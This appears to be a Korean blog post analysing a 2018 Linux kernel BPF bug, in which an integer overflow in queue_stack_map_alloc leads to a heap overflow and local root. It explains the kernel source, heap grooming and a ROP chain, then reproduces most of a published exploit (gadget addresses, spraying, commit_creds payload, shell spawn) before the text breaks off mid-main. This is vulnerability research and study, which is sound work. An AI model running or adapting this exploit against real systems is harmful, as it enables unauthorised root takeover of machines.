[1-day Analysis] Linux kernel BPF integer overflow & heap overflow
2019-12-03 / V4bel

목차

  • 서론
  • BPF 모듈
  • 주요 데이터 구조
  • integer overflow
  • heap overflow
    • 작은 힙 할당
    • heap overflow trigger
    • victim structure
  • exploit
    • 취약점 체이닝
    • debugging
  • reference

서론

ww9210이 2018/11/22에 bpf 모듈에서 integer overflow로 heap overflow를 트리거해 lpe를 터트리는 취약점을 리눅스 커뮤니티에 제출했습니다.

처음 해보는 리눅스 커널 1-day 분석이여서 모듈 분석과 익스플로잇 이해, 디버깅에 적지 않은 시간이 소모되었지만 분석을 진행하면서 많은 공부가 되었기에 정리할 겸 1-day 분석글을 작성해보도록 하겠습니다.

해당 취약점은 리눅스 커널 v4.20-rc1, v4.20-rc2, v4.20-rc3, v4.20-rc4 에서 트리거할 수 있으며 1-day 분석은 v4.20-rc1 소스 코드 기준으로 하였습니다.


BPF 모듈

bpf()
1
2
3
#include <linux/bpf.h>

int bpf(int cmd, union bpf_attr *attr, unsigned int size);

BPF(Berkeley Packet Filter)는 사용자 모드에서 네트워크 패킷 필터링에 사용되는 모듈이자 kernel level에서 동작하는 경량화된 가상 머신입니다.

이와 같이 전통적으로 네트워크 패킷 필터링으로 사용되는 모듈을 cBPF(classic BPF)로 정의하고 여기서 더 많은 리소스들을 추가해 더 다양한 용도로 사용되는 모듈을 eBPF(extended BPF)로 정의합니다.

리눅스 커널 v3.18 이후에 추가된 BPF syscall은 모두 eBPF이며 cBPF는 일부에서만 사용됩니다.

bpf syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size)
{
union bpf_attr attr = {};
int err;

if (sysctl_unprivileged_bpf_disabled && !capable(CAP_SYS_ADMIN))
return -EPERM;

err = bpf_check_uarg_tail_zero(uattr, sizeof(attr), size);
if (err)
return err;
size = min_t(u32, size, sizeof(attr));

/* copy attributes from user space, may be less than sizeof(bpf_attr) */
if (copy_from_user(&attr, uattr, size) != 0)
return -EFAULT;

err = security_bpf(cmd, &attr, size);
if (err < 0)
return err;

switch (cmd) {
case BPF_MAP_CREATE:
err = map_create(&attr);
break;
case BPF_MAP_LOOKUP_ELEM:
err = map_lookup_elem(&attr);
break;
case BPF_MAP_UPDATE_ELEM:
err = map_update_elem(&attr);
break;
case BPF_MAP_DELETE_ELEM:
err = map_delete_elem(&attr);
break;
case BPF_MAP_GET_NEXT_KEY:
err = map_get_next_key(&attr);
break;
case BPF_PROG_LOAD:
err = bpf_prog_load(&attr);
break;
case BPF_OBJ_PIN:
err = bpf_obj_pin(&attr);
break;
case BPF_OBJ_GET:
err = bpf_obj_get(&attr);
break;
case BPF_PROG_ATTACH:
err = bpf_prog_attach(&attr);
break;
case BPF_PROG_DETACH:
err = bpf_prog_detach(&attr);
break;
case BPF_PROG_QUERY:
err = bpf_prog_query(&attr, uattr);
break;
case BPF_PROG_TEST_RUN:
err = bpf_prog_test_run(&attr, uattr);
break;
case BPF_PROG_GET_NEXT_ID:
err = bpf_obj_get_next_id(&attr, uattr,
&prog_idr, &prog_idr_lock);
break;
case BPF_MAP_GET_NEXT_ID:
err = bpf_obj_get_next_id(&attr, uattr,
&map_idr, &map_idr_lock);
break;
case BPF_PROG_GET_FD_BY_ID:
err = bpf_prog_get_fd_by_id(&attr);
break;
case BPF_MAP_GET_FD_BY_ID:
err = bpf_map_get_fd_by_id(&attr);
break;
case BPF_OBJ_GET_INFO_BY_FD:
err = bpf_obj_get_info_by_fd(&attr, uattr);
break;
case BPF_RAW_TRACEPOINT_OPEN:
err = bpf_raw_tracepoint_open(&attr);
break;
case BPF_BTF_LOAD:
err = bpf_btf_load(&attr);
break;
case BPF_BTF_GET_FD_BY_ID:
err = bpf_btf_get_fd_by_id(&attr);
break;
case BPF_TASK_FD_QUERY:
err = bpf_task_fd_query(&attr, uattr);
break;
case BPF_MAP_LOOKUP_AND_DELETE_ELEM:
err = map_lookup_and_delete_elem(&attr);
break;
default:
err = -EINVAL;
break;
}

return err;
}

일반적으로 BPF 모듈은 유저 모드에서 위와 같이 bpf() syscall로 호출할 수 있습니다.

모듈의 여러 기능 중 익스에 이용할 기능은 BPF_MAP_CREATEBPF_MAP_UPDATE_ELEM 입니다.

BPF_MAP_CREATE 기능은 eBPF map을 생성하고 해당 맵을 가르키는 file descriptor를 반환합니다. 여기서 eBPF map은 커널 공간과 유저 공간 사이에서의 데이터 공유등의 용도로 사용되는 자료 구조입니다.

BPF_MAP_UPDATE_ELEM 기능은 인자로 넘긴 fd에 해당하는 맵에서 특정 항목을 생성, 수정할 수 있습니다.


주요 데이터 구조

해당 취약점을 트리거하기 위해 사용되는 BPF 모듈의 주요 데이터 구조는 다음과 같습니다.

struct bpf_queue_stack
1
2
3
4
5
6
7
8
struct bpf_queue_stack {
struct bpf_map map;
raw_spinlock_t lock;
u32 head, tail;
u32 size; /* max_entries + 1 */

char elements[0] __aligned(8);
};

bpf_queue_stack 구조체는 커널 힙에 할당되는 eBPF map 자료 구조의 헤더 부분으로 데이터 구조에 대한 관리를 담당합니다.

struct bpf_map
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
struct bpf_map {
/* The first two cachelines with read-mostly members of which some
* are also accessed in fast-path (e.g. ops, max_entries).
*/
const struct bpf_map_ops *ops ____cacheline_aligned;
struct bpf_map *inner_map_meta;
#ifdef CONFIG_SECURITY
void *security;
#endif
enum bpf_map_type map_type;
u32 key_size;
u32 value_size;
u32 max_entries;
u32 map_flags;
u32 pages;
u32 id;
int numa_node;
u32 btf_key_type_id;
u32 btf_value_type_id;
struct btf *btf;
bool unpriv_array;
/* 55 bytes hole */

/* The 3rd and 4th cacheline with misc members to avoid false sharing
* particularly with refcounting.
*/
struct user_struct *user ____cacheline_aligned;
atomic_t refcnt;
atomic_t usercnt;
struct work_struct work;
char name[BPF_OBJ_NAME_LEN];
};

bpf_map 구조체는 bpf_queue_stack 구조체의 첫 번째 멤버로써, 생성된 맵에 대한 구체적인 정보가 담겨있습니다.

추후 맵 초기화 과정에서 bpf_map_init_from_attr() 함수에 의해 *attr 인자의 정보가 해당 구조체로 복사됩니다.

struct bpf_map_ops
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct bpf_map_ops {
/* funcs callable from userspace (via syscall) */
int (*map_alloc_check)(union bpf_attr *attr);
struct bpf_map *(*map_alloc)(union bpf_attr *attr);
void (*map_release)(struct bpf_map *map, struct file *map_file);
void (*map_free)(struct bpf_map *map);
int (*map_get_next_key)(struct bpf_map *map, void *key, void *next_key);
void (*map_release_uref)(struct bpf_map *map);

/* funcs callable from userspace and from eBPF programs */
void *(*map_lookup_elem)(struct bpf_map *map, void *key);
int (*map_update_elem)(struct bpf_map *map, void *key, void *value, u64 flags);
int (*map_delete_elem)(struct bpf_map *map, void *key);
int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags);
int (*map_pop_elem)(struct bpf_map *map, void *value);
int (*map_peek_elem)(struct bpf_map *map, void *value);

/* funcs called by prog_array and perf_event_array map */
void *(*map_fd_get_ptr)(struct bpf_map *map, struct file *map_file,
int fd);
void (*map_fd_put_ptr)(void *ptr);
u32 (*map_gen_lookup)(struct bpf_map *map, struct bpf_insn *insn_buf);
u32 (*map_fd_sys_lookup_elem)(void *ptr);
void (*map_seq_show_elem)(struct bpf_map *map, void *key,
struct seq_file *m);
int (*map_check_btf)(const struct bpf_map *map,
const struct btf_type *key_type,
const struct btf_type *value_type);
};

bpf_map_ops 구조체는 bpf_map 구조체의 멤버로 생성된 맵에 대한 함수 포인터들이 담겨있는 구조체입니다.

여타 모듈의 file_operations과 비슷한 역할을 하며, 이번 익스에서 heap overflow로 덮어 권한 상승을 트리거하게 될 구조체입니다.

union bpf_attr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
union bpf_attr {
struct { /* anonymous struct used by BPF_MAP_CREATE command */
__u32 map_type; /* one of enum bpf_map_type */
__u32 key_size; /* size of key in bytes */
__u32 value_size; /* size of value in bytes */
__u32 max_entries; /* max number of entries in a map */
__u32 map_flags; /* BPF_MAP_CREATE related
* flags defined above.
*/
__u32 inner_map_fd; /* fd pointing to the inner map */
__u32 numa_node; /* numa node (effective only if
* BPF_F_NUMA_NODE is set).
*/
char map_name[BPF_OBJ_NAME_LEN];
__u32 map_ifindex; /* ifindex of netdev to create on */
__u32 btf_fd; /* fd pointing to a BTF type data */
__u32 btf_key_type_id; /* BTF type_id of the key */
__u32 btf_value_type_id; /* BTF type_id of the value */
};

struct { /* anonymous struct used by BPF_MAP_*_ELEM commands */
__u32 map_fd;
__aligned_u64 key;
union {
__aligned_u64 value;
__aligned_u64 next_key;
};
__u64 flags;
};
....

bpf() syscall의 *attr 인자로 사용되는 공용체입니다. 해당 공용체의 멤버는 cmd 인자 기준으로 호출된 기능들에 따라 선택되는 anonymous struct로 구성되어 있습니다.


integer overflow

integer overflow 취약점은 BPF_MAP_CREATE 기능에서 찾을 수 있습니다.

map_create()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static int map_create(union bpf_attr *attr)
{
int numa_node = bpf_map_attr_numa_node(attr);
struct bpf_map *map;
int f_flags;
int err;

err = CHECK_ATTR(BPF_MAP_CREATE);
if (err)
return -EINVAL;

f_flags = bpf_get_file_flag(attr->map_flags);
if (f_flags < 0)
return f_flags;

if (numa_node != NUMA_NO_NODE &&
((unsigned int)numa_node >= nr_node_ids ||
!node_online(numa_node)))
return -EINVAL;

/* find map type and init map: hashtable vs rbtree vs bloom vs ... */
map = find_and_alloc_map(attr); // here
if (IS_ERR(map))
return PTR_ERR(map);
....

eBPF의 BPF_MAP_CREATE 기능을 사용할 경우 /kernel/bpf/syscall.c에 있는 map_create() 함수가 호출됩니다.

해당 함수의 map = find_and_alloc_map(attr); 부분에서 find_and_alloc_map() 함수를 호출하는 것을 확인할 수 있습니다.

queue_map_ops
1
2
3
4
5
6
7
8
9
10
11
12
const struct bpf_map_ops queue_map_ops = {
.map_alloc_check = queue_stack_map_alloc_check,
.map_alloc = queue_stack_map_alloc,
.map_free = queue_stack_map_free,
.map_lookup_elem = queue_stack_map_lookup_elem,
.map_update_elem = queue_stack_map_update_elem,
.map_delete_elem = queue_stack_map_delete_elem,
.map_push_elem = queue_stack_map_push_elem,
.map_pop_elem = queue_map_pop_elem,
.map_peek_elem = queue_map_peek_elem,
.map_get_next_key = queue_stack_map_get_next_key,
};
find_and_alloc_map()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static struct bpf_map *find_and_alloc_map(union bpf_attr *attr)
{
const struct bpf_map_ops *ops;
u32 type = attr->map_type;
struct bpf_map *map;
int err;

if (type >= ARRAY_SIZE(bpf_map_types))
return ERR_PTR(-EINVAL);
type = array_index_nospec(type, ARRAY_SIZE(bpf_map_types));
ops = bpf_map_types[type];
if (!ops)
return ERR_PTR(-EINVAL);

if (ops->map_alloc_check) {
err = ops->map_alloc_check(attr);
if (err)
return ERR_PTR(err);
}
if (attr->map_ifindex)
ops = &bpf_map_offload_ops;
map = ops->map_alloc(attr); // here
if (IS_ERR(map))
return map;
map->ops = ops;
map->map_type = type;
return map;
}

마찬가지로 /kernel/bpf/syscall.c에 선언되어 있는 find_and_alloc_map() 함수입니다.

map = ops->map_alloc(attr); 부분에서 queue_stack_map_alloc() 함수를 호출하게 됩니다.

queue_stack_map_alloc()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static struct bpf_map *queue_stack_map_alloc(union bpf_attr *attr)
{
int ret, numa_node = bpf_map_attr_numa_node(attr);
struct bpf_queue_stack *qs;
u32 size, value_size;
u64 queue_size, cost;

size = attr->max_entries + 1; // here
value_size = attr->value_size;

queue_size = sizeof(*qs) + (u64) value_size * size;

cost = queue_size;
if (cost >= U32_MAX - PAGE_SIZE)
return ERR_PTR(-E2BIG);

cost = round_up(cost, PAGE_SIZE) >> PAGE_SHIFT;

ret = bpf_map_precharge_memlock(cost);
if (ret < 0)
return ERR_PTR(ret);

qs = bpf_map_area_alloc(queue_size, numa_node);
if (!qs)
return ERR_PTR(-ENOMEM);

memset(qs, 0, sizeof(*qs));

bpf_map_init_from_attr(&qs->map, attr);

qs->map.pages = cost;
qs->size = size;

raw_spin_lock_init(&qs->lock);

return &qs->map;
}

/kernel/bpf/queue_stack_maps.c 에 선언되어 있는 위 queue_stack_map_alloc() 함수가 바로 integer overflow가 터지는 함수입니다.

size = attr->max_entries + 1; 부분에서 *attr은 유저 공간에서 bpf() syscall을 호출할 때 인자로 전달해준 공용체로, 결국 해당 공용체의 멤버들은 유저가 컨트롤할 수 있는 값입니다.

size 변수는 unsigned 32bit로 선언되어 있기 때문에 만약 attr->max_entries0xffffffff를 전달해줄 경우 +1로 인해 carry되어 0으로 integer overflow를 터트릴 수 있습니다.


heap overflow

heap overflow 취약점은 위의 integer overflow를 통해 트리거할 수 있습니다.

작은 힙 할당

queue_stack_map_alloc()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static struct bpf_map *queue_stack_map_alloc(union bpf_attr *attr)
{
int ret, numa_node = bpf_map_attr_numa_node(attr);
struct bpf_queue_stack *qs;
u32 size, value_size;
u64 queue_size, cost;

size = attr->max_entries + 1;
value_size = attr->value_size;

queue_size = sizeof(*qs) + (u64) value_size * size; // here

cost = queue_size;
if (cost >= U32_MAX - PAGE_SIZE)
return ERR_PTR(-E2BIG);

cost = round_up(cost, PAGE_SIZE) >> PAGE_SHIFT;

ret = bpf_map_precharge_memlock(cost);
if (ret < 0)
return ERR_PTR(ret);

qs = bpf_map_area_alloc(queue_size, numa_node); // allocate
if (!qs)
return ERR_PTR(-ENOMEM);

memset(qs, 0, sizeof(*qs));

bpf_map_init_from_attr(&qs->map, attr);

qs->map.pages = cost;
qs->size = size;

raw_spin_lock_init(&qs->lock);

return &qs->map;
}

위에서 설명한 integer overflow 취약점이 터지는 queue_stack_map_alloc() 함수입니다.

해당 함수의 queue_size 변수는 BPF_MAP_CREATE 기능을 통해 최종적으로 커널 힙에 할당하게 될 영역의 크기입니다.
queue_size = sizeof(*qs) + (u64) value_size * size; 부분에서 sizeof(*qs) 부분은 struct bpf_queue_stack이 위치할 부분이며 주요 데이터 구조에서 설명했듯이 할당될 bpf 맵을 관리하는 구조체입니다.
나머지 (u64) value_size * size 부분은 실제로 데이터가 저장될 영역입니다.

bpf_map_area_alloc() 함수로 queue_size 크기의 슬랩 캐시를 할당받고 최종적으로 해당 맵에 대한 초기화 작업을 진행합니다. 하지만 size 변수는 integer overflow로 인해 0으로 맞춰진 상태이므로 sizeof(*qs) 만큼의, 특정 작업을 하기엔 너무 작은 크기의 슬랩 캐시를 할당받게 됩니다.

heap overflow trigger

heap overflow 취약점은 BPF_MAP_UPDATE_ELEM 기능에서 찾을 수 있습니다.

map_update_elem()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
static int map_update_elem(union bpf_attr *attr)
{
void __user *ukey = u64_to_user_ptr(attr->key);
void __user *uvalue = u64_to_user_ptr(attr->value);
int ufd = attr->map_fd;
struct bpf_map *map;
void *key, *value;
u32 value_size;
struct fd f;
int err;

if (CHECK_ATTR(BPF_MAP_UPDATE_ELEM))
return -EINVAL;

f = fdget(ufd);
map = __bpf_map_get(f);
if (IS_ERR(map))
return PTR_ERR(map);

if (!(f.file->f_mode & FMODE_CAN_WRITE)) {
err = -EPERM;
goto err_put;
}

key = __bpf_copy_key(ukey, map->key_size);
if (IS_ERR(key)) {
err = PTR_ERR(key);
goto err_put;
}

if (map->map_type == BPF_MAP_TYPE_PERCPU_HASH ||
map->map_type == BPF_MAP_TYPE_LRU_PERCPU_HASH ||
map->map_type == BPF_MAP_TYPE_PERCPU_ARRAY ||
map->map_type == BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE)
value_size = round_up(map->value_size, 8) * num_possible_cpus();
else
value_size = map->value_size;

err = -ENOMEM;
value = kmalloc(value_size, GFP_USER | __GFP_NOWARN); // here
if (!value)
goto free_key;

err = -EFAULT;
if (copy_from_user(value, uvalue, value_size) != 0) // here
goto free_value;

/* Need to create a kthread, thus must support schedule */
if (bpf_map_is_dev_bound(map)) {
err = bpf_map_offload_update_elem(map, key, value, attr->flags);
goto out;
} else if (map->map_type == BPF_MAP_TYPE_CPUMAP ||
map->map_type == BPF_MAP_TYPE_SOCKHASH ||
map->map_type == BPF_MAP_TYPE_SOCKMAP) {
err = map->ops->map_update_elem(map, key, value, attr->flags);
goto out;
}

/* must increment bpf_prog_active to avoid kprobe+bpf triggering from
* inside bpf map update or delete otherwise deadlocks are possible
*/
preempt_disable();
__this_cpu_inc(bpf_prog_active);
if (map->map_type == BPF_MAP_TYPE_PERCPU_HASH ||
map->map_type == BPF_MAP_TYPE_LRU_PERCPU_HASH) {
err = bpf_percpu_hash_update(map, key, value, attr->flags);
} else if (map->map_type == BPF_MAP_TYPE_PERCPU_ARRAY) {
err = bpf_percpu_array_update(map, key, value, attr->flags);
} else if (map->map_type == BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE) {
err = bpf_percpu_cgroup_storage_update(map, key, value,
attr->flags);
} else if (IS_FD_ARRAY(map)) {
rcu_read_lock();
err = bpf_fd_array_map_update_elem(map, f.file, key, value,
attr->flags);
rcu_read_unlock();
} else if (map->map_type == BPF_MAP_TYPE_HASH_OF_MAPS) {
rcu_read_lock();
err = bpf_fd_htab_map_update_elem(map, f.file, key, value,
attr->flags);
rcu_read_unlock();
} else if (map->map_type == BPF_MAP_TYPE_REUSEPORT_SOCKARRAY) {
/* rcu_read_lock() is not needed */
err = bpf_fd_reuseport_array_update_elem(map, key, value,
attr->flags);
} else if (map->map_type == BPF_MAP_TYPE_QUEUE ||
map->map_type == BPF_MAP_TYPE_STACK) {
err = map->ops->map_push_elem(map, value, attr->flags);
} else {
rcu_read_lock();
err = map->ops->map_update_elem(map, key, value, attr->flags);
rcu_read_unlock();
}
__this_cpu_dec(bpf_prog_active);
preempt_enable();
maybe_wait_bpf_programs(map);
out:
free_value:
kfree(value);
free_key:
kfree(key);
err_put:
fdput(f);
return err;
}

eBPF의 BPF_MAP_UPDATE_ELEM 기능을 사용할 경우 /kernel/bpf/syscall.c에 있는 map_update_elem() 함수가 호출됩니다.

해당 함수의 value = kmalloc(value_size, GFP_USER | __GFP_NOWARN); 부분에서 map->value_size 만큼의 슬랩 캐시를 할당하는 것과 copy_from_user(value, uvalue, value_size) 부분에서 attr->value의 값을 할당된 주소 value에 복사하는 것을 볼 수 있습니다.

여기서 map->value_size는 BPF 맵 초기화 과정에서 bpf_map_init_from_attr() 함수에 의해 attr->value_size 값이 복사된 것입니다. 즉, 유저 모드에서 유저가 컨트롤할 수 있는 값입니다.

이렇게 할당된 주소값 value를 인자로 queue_stack_map_push_elem() 함수를 호출합니다.

queue_stack_map_push_elem()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static int queue_stack_map_push_elem(struct bpf_map *map, void *value,
u64 flags)
{
struct bpf_queue_stack *qs = bpf_queue_stack(map);
unsigned long irq_flags;
int err = 0;
void *dst;

/* BPF_EXIST is used to force making room for a new element in case the
* map is full
*/
bool replace = (flags & BPF_EXIST);

/* Check supported flags for queue and stack maps */
if (flags & BPF_NOEXIST || flags > BPF_EXIST)
return -EINVAL;

raw_spin_lock_irqsave(&qs->lock, irq_flags);

if (queue_stack_map_is_full(qs)) {
if (!replace) {
err = -E2BIG;
goto out;
}
/* advance tail pointer to overwrite oldest element */
if (unlikely(++qs->tail >= qs->size))
qs->tail = 0;
}

dst = &qs->elements[qs->head * qs->map.value_size];
memcpy(dst, value, qs->map.value_size); // here

if (unlikely(++qs->head >= qs->size))
qs->head = 0;

out:
raw_spin_unlock_irqrestore(&qs->lock, irq_flags);
return err;
}

/kernel/bpf/queue_stack_maps.c에 선언된 queue_stack_map_push_elem() 함수이며 해당 함수가 바로 heap overflow 취약점이 터지는 함수입니다.

memcpy(dst, value, qs->map.value_size); 부분에서 dstBPF_MAP_CREATE 기능으로 커널 힙에 할당된 bpf 맵이고 value는 이전 map_update_elem() 함수에서 attr->value가 커널 힙에 할당된 영역입니다.

integer overflow로 인해 *qs가 가르키는 슬랩 캐시의 크기가 256byte 밖에 되지 않기 때문에 value값과 qs->map.value_size를 컨트롤해서 heap overflow를 터트릴 수 있습니다.

victim structure

이렇게 터트린 heap overflow를 이용해 덮을 함수 포인터는 struct bpf_map_ops에 있습니다.

slab allocator의 특성상 256byte의 슬랩 캐시와 물리적으로 인접하려면 마찬가지로 256byte의 슬랩 캐시를 할당해야 합니다. 그렇기에 다른 모듈의 file_operations을 사용하기 까다로운 상황입니다.

하지만 integer overflow가 터져 할당된 256byte 크기의 struct bpf_queue_stack 자기 자신의 멤버중에 함수 포인터를 가지고있는 struct bpf_map_ops가 있으므로, 똑같이 BPF_MAP_CREATE 기능으로 256byte의 슬랩 캐시를 할당한 뒤 heap overflow로 struct bpf_map_ops를 덮으면 rip control이 가능합니다


exploit

ww9210가 작성한 익스플로잇 기준으로 p4nda좌가 세그먼트 오류를 수정한 익스를 이용해 원리를 설명하도록 하겠습니다.

취약점 체이닝

  1. trap frame 구성을 위해 레지스터들을 저장합니다.
  2. stack_pivot_gadget, fakestack 등의 stack pivoting을 위한 가젯, 가짜 스택을 mmap()을 이용해 공간 할당 후 배치합니다.
  3. rop_chain을 stack_pivot_gadget의 앞 4바이트 기준으로 mmap()을 이용해 배치합니다.
  4. bpf 맵을 integer overflow를 이용해 256byte 크기로 할당해줍니다. (fd = 3)
  5. 힙풍수를 맞추기 위해 256byte의 bpf 맵을 14번 할당해줍니다. (fd = 4 ~ 17)
  6. 처음 할당한 bpf 맵에서 heap overflow를 이용해 물리적으로 인접한 다음 bpf 맵의 map->ops 멤버를 fakestack으로 덮습니다.
  7. 처음 할당한 bpf 맵을 close()할 경우 fakestack->stack_pivot_gadget이 호출되며 stack pivoting이 일어납니다.
  8. stack pivoting과 다른 가젯들로 인해 rop_chain이 실행되고, root 권한을 획득하게 됩니다.
  9. 세그먼트 오류로 SIGSEGV 에러가 날 경우, get_shell_again()을 실행해 쉘을 불러옵니다.

exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
// gcc -o exp exp.c -static -fno-pie
// This is a SMEP bypass exploit against a integer overflow vulnerability
// in Linux kernel bpf module
// The offset used in this exploit is against a custom compiled kernel.
// exploit author: Wei Wu (ww9210@gmail.com)
// initial poc generated by syzkaller
//
/*
user@syzkaller:~$ ./exp
rop_payload_initialized
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
# uname -a
Linux syzkaller 4.20.0-rc3 #1 SMP Thu Nov 22 15:12:38 CST 2018 x86_64 GNU/Linux
#
*/

#define _GNU_SOURCE
#define SPRAY_NUMBER 14

#include <signal.h>
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#define native_write_cr4 0xffffffff810037d5// 0xffffffff81097fcc
#define POPRDX 0xffffffff81002dda
#define DUMMY 0
#define PREPARE_KERNEL_CRED 0xFFFFFFFF810E3D40 //0xffffffff810e3670
#define COMMIT_CREDS 0xFFFFFFFF810E3AB0 //0xffffffff810e33e0
#define poprdiret 0xffffffff810013b9
#define popraxret 0xffffffff81029c71
#define swapgs 0xffffffff81c00d5a//0xffffffff81c0095f
#define iretq 0xffffffff8106d8f4
#define stack_pivot_gadget 0xffffffff81954dc8
#define stack_top_offset 0x674
#define krop_base_to_map 0x81954000
int rop_start=0x1444-8;
void* krop_base_mapped;

unsigned long user_cs, user_ss, user_rflags;

static void save_state()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
:
: "memory");
}

void get_shell()
{
system("id");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root_payload(void)
{
commit_creds(prepare_kernel_cred(0));
}
unsigned long rop_chain[] = {
popraxret,
0x6f0,
0xffffffff81001c51,//native_write_cr4,
poprdiret,
0,
PREPARE_KERNEL_CRED,
0xffffffff81001c50, //: pop rsi ; ret
poprdiret,
0xffffffff81264e0b,//: push rax; push rsi; ret; //0xffffffff812646fb, //: push rax ; push rsi ; ret
COMMIT_CREDS,
swapgs,
0x246,
iretq,
(unsigned long)&get_shell,
0,//user_cs,
0,//user_rflags,
0,//krop_base_mapped + 0x4000,
0//user_ss
};

void * fakestack;
void prepare_krop(){
krop_base_mapped=mmap((void *)krop_base_to_map,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
if (krop_base_mapped<0){
perror("mmap failed");
}
fakestack=mmap((void *)0xa000000000,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
*(unsigned long*)0x0000000081954dc8=popraxret;
*(unsigned long*)krop_base_to_map = 0;
*(unsigned long*)(krop_base_to_map+0x1000) = 0;
*(unsigned long*)(krop_base_to_map+0x2000) = 0;
*(unsigned long*)(krop_base_to_map+0x3000) = 0;
*(unsigned long*)(krop_base_to_map+0x4000) = 0;
*(unsigned long*)(krop_base_to_map+0x5000) = 0;
*(unsigned long*)(krop_base_to_map+0x6000) = 0;
*(unsigned long*)(krop_base_to_map+0x7000) = 0;
*(unsigned long*)(fakestack+0x4000) = 0;
*(unsigned long*)(fakestack+0x3000) = 0;
*(unsigned long*)(fakestack+0x2000) = 0;
*(unsigned long*)(fakestack+0x1000) = 0;
*(unsigned long*)(fakestack) = 0;
*(unsigned long*)(fakestack+0x10) = stack_pivot_gadget;
*(unsigned long*)(fakestack+0x7000) = 0;
*(unsigned long*)(fakestack+0x6000) = 0;
*(unsigned long*)(fakestack+0x5000) = 0;
rop_chain[12+2]=user_cs;
rop_chain[13+2]=user_rflags;
rop_chain[14+2]=(unsigned long)(fakestack + 0x6000);
rop_chain[15+2]=user_ss;
memcpy(krop_base_mapped+rop_start,rop_chain,sizeof(rop_chain));
puts("rop_payload_initialized");
}

#ifndef __NR_bpf
#define __NR_bpf 321
#endif

uint64_t r[1] = {0xffffffffffffffff};

// defragmentation
void defragment(){
int i;
FILE* fp;
char name[100];
for(i=0; i<200; i++){
snprintf(name, 100, "xxx%d", i);
fp=fopen(name,"w");
}
}

long victim[SPRAY_NUMBER];
void spray(){
int i;
for(i=0;i<SPRAY_NUMBER;i++){
victim[i] = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
}
return;
}
void get_shell_again(){
puts("SIGSEGV found");
puts("get shell again");
system("id");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
int main(void)
{
signal(SIGSEGV,get_shell_again);
//get_shell();
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
long res = 0;
*(uint32_t*)0x200011c0 = 0x17;
*(uint32_t*)0x200011c4 = 0;
*(uint32_t*)0x200011c8 = 0x40;
*(uint32_t*)0x200011cc = -1;
*(uint32_t*)0x200011d0 = 0;
